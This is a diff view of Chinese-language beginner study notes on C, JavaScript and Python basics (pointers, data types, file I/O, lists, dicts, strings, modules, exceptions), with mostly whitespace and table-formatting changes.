```c
|
||||
@ -47,6 +51,7 @@ tags: []
|
||||
```
|
||||
|
||||
如果去掉 `static` 关键字,全局静态变量 `globalStaticVar` 将具有全局作用域,即在整个程序中可见,包括其他源文件。这可能导致命名冲突,因为其他源文件也可以定义同名的全局变量。
|
||||
|
||||
3. **带** **`static`** **关键字的局部静态变量:**
|
||||
|
||||
```c
|
||||
@ -60,6 +65,7 @@ tags: []
|
||||
```
|
||||
|
||||
这样定义的局部静态变量 `localStaticVar` 具有函数范围的作用域,即仅在定义它的函数 `exampleFunction` 中可见。该变量的生命周期贯穿整个程序的运行时间,而不是仅在 `exampleFunction` 被调用时存在。
|
||||
|
||||
4. **不带** **`static`** **关键字的局部静态变量:**
|
||||
|
||||
```c
|
||||
|
@ -4,7 +4,5 @@ date: 2024-06-06T23:51:47Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
|
||||
大端存储:把高位字节放在低字节
|
||||
小端存储:把低位字节放在高字节
|
||||
|
@ -4,11 +4,10 @@ date: 2024-06-06T23:51:39Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
1. while
|
||||
|
||||
```javascript
|
||||
while(循环条件){
|
||||
while (循环条件) {
|
||||
//循环体
|
||||
}
|
||||
```
|
||||
@ -16,7 +15,7 @@ tags: []
|
||||
2. for
|
||||
|
||||
```javascript
|
||||
for(;;){
|
||||
for (;;) {
|
||||
//循环体
|
||||
}
|
||||
```
|
||||
|
@ -4,11 +4,10 @@ date: 2024-06-06T23:51:37Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
`&` 取地址调试符
|
||||
`%p` 以地址的格式打印数据使用 (需要将指针强制转换为 (void \*))
|
||||
|
||||
`*`来声明指针变量
|
||||
`*` 来声明指针变量
|
||||
|
||||
地址是内存唯一标示空间
|
||||
|
||||
@ -18,9 +17,9 @@ tags: []
|
||||
|
||||
取地址是取第一个地址
|
||||
|
||||
指针变量在32位上是4字节(32/4,32位的机器上地址用32个二进制数组成,8bit=1byte)64位是8字节
|
||||
指针变量在 32 位上是 4 字节(32/4,32 位的机器上地址用 32 个二进制数组成,8bit=1byte)64 位是 8 字节
|
||||
|
||||
指针变量的不同类型解引用访问的不同的字节 例如 \*char1个字节 \*int 4个字节
|
||||
指针变量的不同类型解引用访问的不同的字节 例如 \*char1 个字节 \*int 4 个字节
|
||||
|
||||
`int (*px)(int);` px 是一个指向接受一个整数参数并返回整数的函数的指针
|
||||
|
||||
|
@ -4,8 +4,7 @@ date: 2024-06-06T23:51:47Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
main写mian
|
||||
main 写 mian
|
||||
函数后面加;
|
||||
switch 里面的case不加break
|
||||
switch 里面的 case 不加 break
|
||||
用链条,查找下一个不创建临时变量,直接修改
|
||||
|
@ -4,23 +4,21 @@ date: 2024-06-06T23:51:44Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
|
||||
|类型|符号|占位符|字节|
|
||||
| :------------: | :---------: | :--------------------------------: | :----: |
|
||||
|字符|char|%c|1|
|
||||
|字符串型||%s||
|
||||
|整形|int|%d|4|
|
||||
|短整型|short|%hd|2|
|
||||
|长整型|long|%ld|4or8|
|
||||
|更长整形|long long||8|
|
||||
|单精度浮点数|float|%f|4|
|
||||
|双精度浮点数|double|%lf|8|
|
||||
| 类型 | 符号 | 占位符 | 字节 |
|
||||
| :----------: | :-------: | :----: | :--: |
|
||||
| 字符 | char | %c | 1 |
|
||||
| 字符串型 | | %s | |
|
||||
| 整形 | int | %d | 4 |
|
||||
| 短整型 | short | %hd | 2 |
|
||||
| 长整型 | long | %ld | 4or8 |
|
||||
| 更长整形 | long long | | 8 |
|
||||
| 单精度浮点数 | float | %f | 4 |
|
||||
| 双精度浮点数 | double | %lf | 8 |
|
||||
|
||||
## 储存类
|
||||
|
||||
|存储类|描述|
|
||||
| :--------: | :----------------------------------------------------: |
|
||||
|register|用于定义存储在寄存器中而不是 RAM 中的局部变量|
|
||||
|static|存储类指示编译器在程序的生命周期内保持局部变量的存在|
|
||||
|extern|定义在其他文件中声明的全局变量或函数|
|
||||
| 存储类 | 描述 |
|
||||
| :------: | :--------------------------------------------------: |
|
||||
| register | 用于定义存储在寄存器中而不是 RAM 中的局部变量 |
|
||||
| static | 存储类指示编译器在程序的生命周期内保持局部变量的存在 |
|
||||
| extern | 定义在其他文件中声明的全局变量或函数 |
|
||||
|
@ -4,17 +4,16 @@ date: 2024-06-06T23:51:38Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
`scanf` 是针对标准输入的格式化语句
|
||||
`printf`是针对标准输出的格式化语句
|
||||
`printf` 是针对标准输出的格式化语句
|
||||
|
||||
`fscanf`是针对所有输入流的格式化语句
|
||||
`fprintf`是针对所有输出流的格式化语句
|
||||
`fscanf` 是针对所有输入流的格式化语句
|
||||
`fprintf` 是针对所有输出流的格式化语句
|
||||
|
||||
`sscanf`字符串转为格式化语句
|
||||
`sprintf`格式化语句转为字符串
|
||||
`sscanf` 字符串转为格式化语句
|
||||
`sprintf` 格式化语句转为字符串
|
||||
|
||||
`EOF`检查文件是否到尾部
|
||||
`EOF` 检查文件是否到尾部
|
||||
|
||||
1. 写入文件
|
||||
|
||||
@ -39,13 +38,13 @@ tags: []
|
||||
int fseek(FILE *stream, long int offset, int whence)
|
||||
```
|
||||
|
||||
* 参数
|
||||
- 参数
|
||||
|
||||
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
|
||||
> offset -- 这是相对 whence 的偏移量,以字节为单位。
|
||||
> whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
|
||||
>
|
||||
* 常量 描述
|
||||
|
||||
- 常量 描述
|
||||
|
||||
```c
|
||||
SEEK_SET 文件的开头
|
||||
|
@ -35,7 +35,7 @@ tags: []
|
||||
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
|
||||
>
|
||||
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
|
||||
>
|
||||
|
||||
4. 共用体
|
||||
|
||||
```c
|
||||
|
@ -9,12 +9,13 @@ tags: []
|
||||
`-E`
|
||||
|
||||
1. 将头文件的内容加入
|
||||
2. difine定义符号的删除,和内容的替换
|
||||
2. difine 定义符号的删除,和内容的替换
|
||||
3. 注释的操作
|
||||
|
||||
2. 转换为汇编代码
|
||||
|
||||
`-S`
|
||||
|
||||
3. 将汇编代码转化为机器指令
|
||||
|
||||
`-c`
|
||||
|
@ -18,22 +18,22 @@ tags: []
|
||||
2. 三元运算
|
||||
|
||||
```javascript
|
||||
条件?true:false
|
||||
条件 ? true : false;
|
||||
```
|
||||
|
||||
3. switch
|
||||
|
||||
```javascript
|
||||
switch(data){
|
||||
switch (data) {
|
||||
case value1:
|
||||
code1
|
||||
break
|
||||
code1;
|
||||
break;
|
||||
case value2:
|
||||
code2
|
||||
break
|
||||
code2;
|
||||
break;
|
||||
default:
|
||||
coden
|
||||
break
|
||||
coden;
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
|
@ -4,8 +4,7 @@ date: 2024-06-06T23:51:44Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证with语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
|
||||
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证 with 语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
|
||||
|
||||
语法结构
|
||||
|
||||
|
@ -6,8 +6,8 @@ tags: []
|
||||
|
||||
## 概念
|
||||
|
||||
是python中内置的不可变数列
|
||||
在python中使用()定义援助,元素与元素之间使用英文的逗号分隔
|
||||
是 python 中内置的不可变数列
|
||||
在 python 中使用()定义援助,元素与元素之间使用英文的逗号分隔
|
||||
元组中只有一个元素的时候,逗号也不能省略
|
||||
|
||||
## 元组的创建方法
|
||||
@ -18,7 +18,7 @@ tags: []
|
||||
语法结构如下:
|
||||
`元组名=(element1,element3,......,elementN)`
|
||||
|
||||
## 第二种使用内置函数tuple
|
||||
## 第二种使用内置函数 tuple
|
||||
|
||||
语法结构如下:
|
||||
`元组名=tuple(序列)`
|
||||
|
@ -4,9 +4,9 @@ date: 2024-06-06T23:51:47Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
`id()`查看数据地址
|
||||
`len()`长度
|
||||
`type()`类型
|
||||
`chr(ascll码)`可以输出ascll码对应的
|
||||
`eval(变量名)`去掉字符串最外侧的引号
|
||||
`pass`占位字符
|
||||
`id()` 查看数据地址
|
||||
`len()` 长度
|
||||
`type()` 类型
|
||||
`chr(ascll码)` 可以输出 ascll 码对应的
|
||||
`eval(变量名)` 去掉字符串最外侧的引号
|
||||
`pass` 占位字符
|
||||
|
@ -7,8 +7,8 @@ tags: []
|
||||
## 概念
|
||||
|
||||
是指一系列的按特定顺序排列的元素组成
|
||||
是Python中内置的可变元素序列
|
||||
是python中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
|
||||
是 Python 中内置的可变元素序列
|
||||
是 python 中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
|
||||
列表中的元素可以是任意类型
|
||||
|
||||
## 基本
|
||||
@ -19,30 +19,29 @@ tags: []
|
||||
|
||||
> start:切片的开始索引(包括)
|
||||
> end:切片的结束索引(不包括)
|
||||
> step:步长(默认为1)
|
||||
> step:步长(默认为 1)
|
||||
|
||||
## 遍历
|
||||
|
||||
```html
|
||||
for i in enumerate(数组):
|
||||
print(i)
|
||||
for i in enumerate(数组): print(i)
|
||||
```
|
||||
|
||||
## 操作
|
||||
|
||||
`x in s`:如果x是s的元素,结果是True,否则结果为False
|
||||
`x not in s`:如果x不是s的元素,结果为True,否者为False
|
||||
`len(s)`:序列s的元素的个数
|
||||
`x in s`:如果 x 是 s 的元素,结果是 True,否则结果为 False
|
||||
`x not in s`:如果 x 不是 s 的元素,结果为 True,否者为 False
|
||||
`len(s)`:序列 s 的元素的个数
|
||||
`max(s)`:元素当中的最大值
|
||||
`min(s)`:元素当中的最小值
|
||||
`s.index(x)`:序列s中第一次出现元素x的位置
|
||||
`s.count(x)`:序列s中出现元素x的的总和
|
||||
`s.index(x)`:序列 s 中第一次出现元素 x 的位置
|
||||
`s.count(x)`:序列 s 中出现元素 x 的的总和
|
||||
|
||||
`lst.append(x)`:在列表lst最后增加一个元素
|
||||
`lst.insert(index,x)`:在列表lst中第index位置增加一个元素
|
||||
`lst.clear`:清除列表lst中的所有元素
|
||||
`lst.pop(index)`:将列表lst中第index位置的元素去除,并从列表中将其删除
|
||||
`lst.remove(x)`:将列表中出现的第一个元素x删除
|
||||
`lst.append(x)`:在列表 lst 最后增加一个元素
|
||||
`lst.insert(index,x)`:在列表 lst 中第 index 位置增加一个元素
|
||||
`lst.clear`:清除列表 lst 中的所有元素
|
||||
`lst.pop(index)`:将列表 lst 中第 index 位置的元素去除,并从列表中将其删除
|
||||
`lst.remove(x)`:将列表中出现的第一个元素 x 删除
|
||||
`lst.reverse(x)`:将列表中的元素反转
|
||||
`lst.copy()`:拷贝列表中的所有元素,生产一个新的列表
|
||||
|
||||
|
@ -8,7 +8,7 @@ tags: []
|
||||
|
||||
`print("")`
|
||||
|
||||
- Python允许使用单引号、双引号、三重引号(单引号或双引号)来表示字符串
|
||||
- Python 允许使用单引号、双引号、三重引号(单引号或双引号)来表示字符串
|
||||
- `end=''`输出以空格结尾,而不是默认的换行符
|
||||
- `sep=","`指定了逗号作为分隔符。
|
||||
输入到文件: `print("文字",file=文件名)`
|
||||
@ -27,9 +27,7 @@ tags: []
|
||||
|
||||
|
||||
```html
|
||||
"""
|
||||
需要注释的代码
|
||||
"""
|
||||
""" 需要注释的代码 """
|
||||
```
|
||||
|
||||
## 导入模块
|
||||
|
@ -4,23 +4,24 @@ date: 2024-06-06T23:51:30Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
## 创建方式
|
||||
|
||||
### 第一种使用{}直接创建字典
|
||||
|
||||
`d={key1:value1,key2:value2....}`
|
||||
|
||||
语法结构如下:
|
||||
|
||||
`dict(key1=value1,key2=value2....)`
|
||||
|
||||
### 第二种使用内置函数dict()创建字典
|
||||
### 第二种使用内置函数 dict()创建字典
|
||||
|
||||
#### 1)映射函数
|
||||
|
||||
`zip(lst1,lst2)`
|
||||
|
||||
lst1为键
|
||||
lst2为值
|
||||
lst1 为键
|
||||
lst2 为值
|
||||
|
||||
##### 字典转列表
|
||||
|
||||
@ -28,27 +29,36 @@ lst2为值
|
||||
|
||||
## 字典元素的取值
|
||||
|
||||
d[key]或d.get(key)
|
||||
d[key]或 d.get(key)
|
||||
|
||||
## 字典元素的遍历
|
||||
|
||||
### 1)遍历出key与value的元组
|
||||
### 1)遍历出 key 与 value 的元组
|
||||
|
||||
`for element in d.items(): pass`
|
||||
|
||||
### 2)分别遍历出key与value
|
||||
### 2)分别遍历出 key 与 value
|
||||
|
||||
`for key,value in d.items(): pass`
|
||||
|
||||
## 相关的操作方法
|
||||
|
||||
获取所有的key数据
|
||||
获取所有的 key 数据
|
||||
|
||||
`d.keys()`
|
||||
获取所有的value的数据
|
||||
|
||||
获取所有的 value 的数据
|
||||
|
||||
`d.values()`
|
||||
key存在获取相应的value,同时删除key-value对,否则获取默认值
|
||||
|
||||
key 存在获取相应的 value,同时删除 key-value 对,否则获取默认值
|
||||
|
||||
`d.pop(key,default)`
|
||||
随机从字典种取出一个key-value对,结果为元组类型,同时将该key-value从字典种删除
|
||||
|
||||
随机从字典种取出一个 key-value 对,结果为元组类型,同时将该 key-value 从字典种删除
|
||||
|
||||
`d.popitem()`
|
||||
清空字典中所有的key-value对
|
||||
|
||||
清空字典中所有的 key-value 对
|
||||
|
||||
`d.clear()`
|
||||
|
@ -6,20 +6,33 @@ tags: []
|
||||
|
||||
## 常用方法
|
||||
|
||||
`str.lower()`:将str字符串全部转换成小写字母,结果为一个新的字符串
|
||||
`str.lower()`:将 str 字符串全部转换成小写字母,结果为一个新的字符串
|
||||
|
||||
`str.upper()`:将字符串全部转为大写字母,结果为一个新的字符串
|
||||
`str.split(sep=None)`:把str按照指定的分隔符sep进行分隔,结果为列表类型
|
||||
`str.count(sub)`:结果为sub这个字符串在str中出现的次数
|
||||
`find(sub)`:结果为sub这个字符串在str中是否存在,如果不存在结果为-1,如果存在,如果出现结果为sub首次出现的索引
|
||||
`str.index(sub)`:功能与find()相同,区别在于要查询的子串sub不存在时,程序报错
|
||||
`str.startswith(s)`:查询字符串str是否以子字符串s开头
|
||||
`str.endswith(s)`:查询字符串str是否以子字符串s结尾
|
||||
`str.replace(old,news,count)`:使用news替换字符串s中所有old字符串,结果是一个新的字符串
|
||||
`str.center(width,filllchar)`:字符串str在指定的宽度范围内居中,可以使用fillchar进行填充
|
||||
`str.join(iter)`:在iter中的每个元素后面都增加一个新的字符串str
|
||||
`str.strip(chars)`:从字符串中去掉左侧和右侧chars中列出的字符串
|
||||
`str.lstrip(chars)`:从字符串中去掉左侧chars、中列出的字符串
|
||||
`str.rstrip(chars)`:从字符串中去掉右侧chars、中列出的字符串
|
||||
|
||||
`str.split(sep=None)`:把 str 按照指定的分隔符 sep 进行分隔,结果为列表类型
|
||||
|
||||
`str.count(sub)`:结果为 sub 这个字符串在 str 中出现的次数
|
||||
|
||||
`find(sub)`:结果为 sub 这个字符串在 str 中是否存在,如果不存在结果为-1,如果存在,如果出现结果为 sub 首次出现的索引
|
||||
|
||||
`str.index(sub)`:功能与 find()相同,区别在于要查询的子串 sub 不存在时,程序报错
|
||||
|
||||
`str.startswith(s)`:查询字符串 str 是否以子字符串 s 开头
|
||||
|
||||
`str.endswith(s)`:查询字符串 str 是否以子字符串 s 结尾
|
||||
|
||||
`str.replace(old,news,count)`:使用 news 替换字符串 s 中所有 old 字符串,结果是一个新的字符串
|
||||
|
||||
`str.center(width,filllchar)`:字符串 str 在指定的宽度范围内居中,可以使用 fillchar 进行填充
|
||||
|
||||
`str.join(iter)`:在 iter 中的每个元素后面都增加一个新的字符串 str
|
||||
|
||||
`str.strip(chars)`:从字符串中去掉左侧和右侧 chars 中列出的字符串
|
||||
|
||||
`str.lstrip(chars)`:从字符串中去掉左侧 chars、中列出的字符串
|
||||
|
||||
`str.rstrip(chars)`:从字符串中去掉右侧 chars、中列出的字符串
|
||||
|
||||
## 格式化字符串的方法
|
||||
|
||||
@ -34,7 +47,7 @@ tags: []
|
||||
|
||||
### f-string
|
||||
|
||||
python3.6引入的格式化字符串的方式,比{}表明被替换的字符
|
||||
python3.6 引入的格式化字符串的方式,比{}表明被替换的字符
|
||||
|
||||
例如
|
||||
`print(f"姓名:{name},年龄:{age},成绩:{score}")`
|
||||
@ -52,19 +65,19 @@ python3.6引入的格式化字符串的方式,比{}表明被替换的字符
|
||||
宽度:字符串的输出宽度
|
||||
`,`:字符串的千位分隔符
|
||||
.精度:浮点数小数部分的精度或字符串的最大输出长度
|
||||
类型:整数类型:b\d\o\x\X浮点数类型:e\E\f\%
|
||||
类型:整数类型:b\d\o\x\X 浮点数类型:e\E\f\%
|
||||
|
||||
## 编码与解码
|
||||
|
||||
### 字符串的编码
|
||||
|
||||
将str类型转换为bytes类型,需要使用到字符串的encode()方法
|
||||
将 str 类型转换为 bytes 类型,需要使用到字符串的 encode()方法
|
||||
语法格式:
|
||||
`str.encode(encoding='utf-8', errors='strict'/ignore/replace)`
|
||||
|
||||
### 字符串的解码
|
||||
|
||||
将bytes类型转换为str类型,需要使用到bytes类型的decode()方法
|
||||
将 bytes 类型转换为 str 类型,需要使用到 bytes 类型的 decode()方法
|
||||
语法格式:
|
||||
`str.decode(encoding='utf-8', errors='strict'/ignore/replace)`
|
||||
|
||||
@ -76,7 +89,7 @@ python3.6引入的格式化字符串的方式,比{}表明被替换的字符
|
||||
`str.isalnum()`:所有字符都是数字或字母(包括中文字符)
|
||||
`str.islower())`:所有字符都是小写
|
||||
`str.isupper()`:所有字符都是大写
|
||||
`str.isspace()`:所有字符都是空白字符(\n,\t等)
|
||||
`str.isspace()`:所有字符都是空白字符(\n,\t 等)
|
||||
|
||||
## 字符串的处理
|
||||
|
||||
@ -84,14 +97,10 @@ python3.6引入的格式化字符串的方式,比{}表明被替换的字符
|
||||
|
||||
1.使用`str.join()`方法进行拼接字符串
|
||||
例如
|
||||
`print("|".join([x,y,"ww"]))`
|
||||
2.直接拼接
|
||||
3.使用格式化字符串进行拼接
|
||||
`print("|".join([x,y,"ww"]))` 2.直接拼接 3.使用格式化字符串进行拼接
|
||||
|
||||
### 字符串的去重
|
||||
|
||||
1.字符串的拼接以及not in
|
||||
`for i in x: if i not in x_new: x_new += i print(x_new)`
|
||||
2.索引+not in
|
||||
3.通过列表集合+列表排序
|
||||
1.字符串的拼接以及 not in
|
||||
`for i in x: if i not in x_new: x_new += i print(x_new)` 2.索引+not in 3.通过列表集合+列表排序
|
||||
`x_new = set(x) lst = list(x_new) lst.sort(key=x.index) print(''.join(lst))`
|
||||
|
@ -6,23 +6,34 @@ tags: []
|
||||
|
||||
## 导入
|
||||
|
||||
`import 模块名称 [as 别名]`
|
||||
`from 模块名称 import 变量/函数/类/*`
|
||||
```python
|
||||
import 模块名称 [as 别名]
|
||||
```
|
||||
|
||||
```python
|
||||
from 模块名称 import 变量/函数/类/*
|
||||
```
|
||||
|
||||
## os模块
|
||||
|
||||
> 与操作系统和文件相关操作有关的模块
|
||||
|
||||
`getcwd()`:获取当前工作路径
|
||||
|
||||
`listdir(path)`:获取path路径下的文件,如果没有指定path,则获取当前路径下的文件和目录信息
|
||||
|
||||
`mkdir(path)`:在指定路径下创建目录(文件夹)
|
||||
|
||||
`makedirs(path)`:创建多级目录
|
||||
|
||||
### os.path模块
|
||||
|
||||
`abspath(path)`:获取目录或文件的绝对路径
|
||||
|
||||
`exists(path)`:判断目录或文件在磁盘上是否存在,结果为bool类型,如果目录或文件在磁盘上存在,结果为True,否则为False
|
||||
|
||||
`join(path.name)`:将目录与文件名进行拼接,相当于字符串`+`的操作
|
||||
|
||||
`splitext()`:分别获取文件名和后缀
|
||||
|
||||
## re模块
|
||||
@ -34,11 +45,17 @@ tags: []
|
||||
> 用于产生随机数的模块
|
||||
|
||||
`seed(x)`:初始化给定的随机数种子,默认为当前系统时间
|
||||
|
||||
`random()`:产生一个[0.0,1.0]之间的随机小数
|
||||
|
||||
`randint(a,b)`生成一个[a,b]之间的整数
|
||||
|
||||
`randrange(m,n,k)`生成一个[m,n)之间步长为k的随机整数
|
||||
|
||||
`uniform(a,b)`:生成一个[a,b]之间的随机小数
|
||||
|
||||
`choice(seq)`:从序列中随机选择一个数
|
||||
|
||||
`shuffle(seq)`:将序列seq中元素随机排列,然后打乱后的序列
|
||||
|
||||
## json模块
|
||||
@ -46,8 +63,11 @@ tags: []
|
||||
> 用于对高维数据进行编码和解码的模块
|
||||
|
||||
`json.dumps(obj)`:将python数据类型转为json格式过程,编码过程
|
||||
|
||||
`json.loads(s)`:将JSON格式字符串转为python数据类型,解码过程
|
||||
|
||||
`json.dump(obj,file)`:与dumps功能相同,将转换结果储存到文件file中
|
||||
|
||||
`json.load(file)`:与loads功能相同,从文件a中读入数据
|
||||
|
||||
## time模块
|
||||
@ -55,10 +75,15 @@ tags: []
|
||||
> 与时间相关的模块
|
||||
|
||||
`time()`:获取当前时间戳
|
||||
|
||||
`localtime(sec)`:获取指定时间戳对应的本地时间的structural_time对象
|
||||
|
||||
`ctime()`:获取当前时间戳对应的易读字符串
|
||||
|
||||
`strftime()`:格式化时间结果为字符串
|
||||
|
||||
`strptime()`:提取字符串的时间,结果为字符串
|
||||
|
||||
`sleep(sec)`:休眠sec秒
|
||||
|
||||
## datetime模块
|
||||
@ -66,7 +91,11 @@ tags: []
|
||||
> 与日期相关的模块,可以方便的显示日期并对日期进行运算
|
||||
|
||||
`datetime`:表示日期时间类
|
||||
|
||||
`timedelta`:表示时间间隔的类
|
||||
|
||||
`date`:表示日期的类
|
||||
|
||||
`time`:表示时间的类
|
||||
|
||||
`tzinfo`:时区相关的类
|
||||
|
@ -21,51 +21,51 @@ finally:
|
||||
raise [exception 类型(异常描述信息)]
|
||||
```
|
||||
|
||||
|异常名称|描述|
|
||||
| ---------------------------| ----------------------------------------------------|
|
||||
|BaseException|所有异常的基类|
|
||||
|SystemExit|解释器请求退出|
|
||||
|KeyboardInterrupt|用户中断执行(通常是输入^C)|
|
||||
|Exception|常规错误的基类|
|
||||
|StopIteration|迭代器没有更多的值|
|
||||
|GeneratorExit|生成器(generator)发生异常来通知退出|
|
||||
|StandardError|所有的内建标准异常的基类|
|
||||
|ArithmeticError|所有数值计算错误的基类|
|
||||
|FloatingPointError|浮点计算错误|
|
||||
|OverflowError|数值运算超出最大限制|
|
||||
|ZeroDivisionError|除(或取模)零 (所有数据类型)|
|
||||
|AssertionError|断言语句失败|
|
||||
|AttributeError|对象没有这个属性|
|
||||
|EOFError|没有内建输入,到达EOF 标记|
|
||||
|EnvironmentError|操作系统错误的基类|
|
||||
|IOError|输入/输出操作失败|
|
||||
|OSError|操作系统错误|
|
||||
|WindowsError|系统调用失败|
|
||||
|ImportError|导入模块/对象失败|
|
||||
|LookupError|无效数据查询的基类|
|
||||
|IndexError|序列中没有此索引(index)|
|
||||
|KeyError|映射中没有这个键|
|
||||
|MemoryError|内存溢出错误(对于Python 解释器不是致命的)|
|
||||
|NameError|未声明/初始化对象 (没有属性)|
|
||||
|UnboundLocalError|访问未初始化的本地变量|
|
||||
|ReferenceError|弱引用(Weak reference)试图访问已经垃圾回收了的对象|
|
||||
|RuntimeError|一般的运行时错误|
|
||||
|NotImplementedError|尚未实现的方法|
|
||||
|SyntaxError|Python 语法错误|
|
||||
|IndentationError|缩进错误|
|
||||
|TabError|Tab 和空格混用|
|
||||
|SystemError|一般的解释器系统错误|
|
||||
|TypeError|对类型无效的操作|
|
||||
|ValueError|传入无效的参数|
|
||||
|UnicodeError|Unicode 相关的错误|
|
||||
|UnicodeDecodeError|Unicode 解码时的错误|
|
||||
|UnicodeEncodeError|Unicode 编码时错误|
|
||||
|UnicodeTranslateError|Unicode 转换时错误|
|
||||
|Warning|警告的基类|
|
||||
|DeprecationWarning|关于被弃用的特征的警告|
|
||||
|FutureWarning|关于构造将来语义会有改变的警告|
|
||||
|OverflowWarning|旧的关于自动提升为长整型(long)的警告|
|
||||
|PendingDeprecationWarning|关于特性将会被废弃的警告|
|
||||
|RuntimeWarning|可疑的运行时行为(runtime behavior)的警告|
|
||||
|SyntaxWarning|可疑的语法的警告|
|
||||
|UserWarning|用户代码生成的警告|
|
||||
| 异常名称 | 描述 |
|
||||
| ------------------------- | -------------------------------------------------- |
|
||||
| BaseException | 所有异常的基类 |
|
||||
| SystemExit | 解释器请求退出 |
|
||||
| KeyboardInterrupt | 用户中断执行(通常是输入^C) |
|
||||
| Exception | 常规错误的基类 |
|
||||
| StopIteration | 迭代器没有更多的值 |
|
||||
| GeneratorExit | 生成器(generator)发生异常来通知退出 |
|
||||
| StandardError | 所有的内建标准异常的基类 |
|
||||
| ArithmeticError | 所有数值计算错误的基类 |
|
||||
| FloatingPointError | 浮点计算错误 |
|
||||
| OverflowError | 数值运算超出最大限制 |
|
||||
| ZeroDivisionError | 除(或取模)零 (所有数据类型) |
|
||||
| AssertionError | 断言语句失败 |
|
||||
| AttributeError | 对象没有这个属性 |
|
||||
| EOFError | 没有内建输入,到达 EOF 标记 |
|
||||
| EnvironmentError | 操作系统错误的基类 |
|
||||
| IOError | 输入/输出操作失败 |
|
||||
| OSError | 操作系统错误 |
|
||||
| WindowsError | 系统调用失败 |
|
||||
| ImportError | 导入模块/对象失败 |
|
||||
| LookupError | 无效数据查询的基类 |
|
||||
| IndexError | 序列中没有此索引(index) |
|
||||
| KeyError | 映射中没有这个键 |
|
||||
| MemoryError | 内存溢出错误(对于 Python 解释器不是致命的) |
|
||||
| NameError | 未声明/初始化对象 (没有属性) |
|
||||
| UnboundLocalError | 访问未初始化的本地变量 |
|
||||
| ReferenceError | 弱引用(Weak reference)试图访问已经垃圾回收了的对象 |
|
||||
| RuntimeError | 一般的运行时错误 |
|
||||
| NotImplementedError | 尚未实现的方法 |
|
||||
| SyntaxError | Python 语法错误 |
|
||||
| IndentationError | 缩进错误 |
|
||||
| TabError | Tab 和空格混用 |
|
||||
| SystemError | 一般的解释器系统错误 |
|
||||
| TypeError | 对类型无效的操作 |
|
||||
| ValueError | 传入无效的参数 |
|
||||
| UnicodeError | Unicode 相关的错误 |
|
||||
| UnicodeDecodeError | Unicode 解码时的错误 |
|
||||
| UnicodeEncodeError | Unicode 编码时错误 |
|
||||
| UnicodeTranslateError | Unicode 转换时错误 |
|
||||
| Warning | 警告的基类 |
|
||||
| DeprecationWarning | 关于被弃用的特征的警告 |
|
||||
| FutureWarning | 关于构造将来语义会有改变的警告 |
|
||||
| OverflowWarning | 旧的关于自动提升为长整型(long)的警告 |
|
||||
| PendingDeprecationWarning | 关于特性将会被废弃的警告 |
|
||||
| RuntimeWarning | 可疑的运行时行为(runtime behavior)的警告 |
|
||||
| SyntaxWarning | 可疑的语法的警告 |
|
||||
| UserWarning | 用户代码生成的警告 |
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user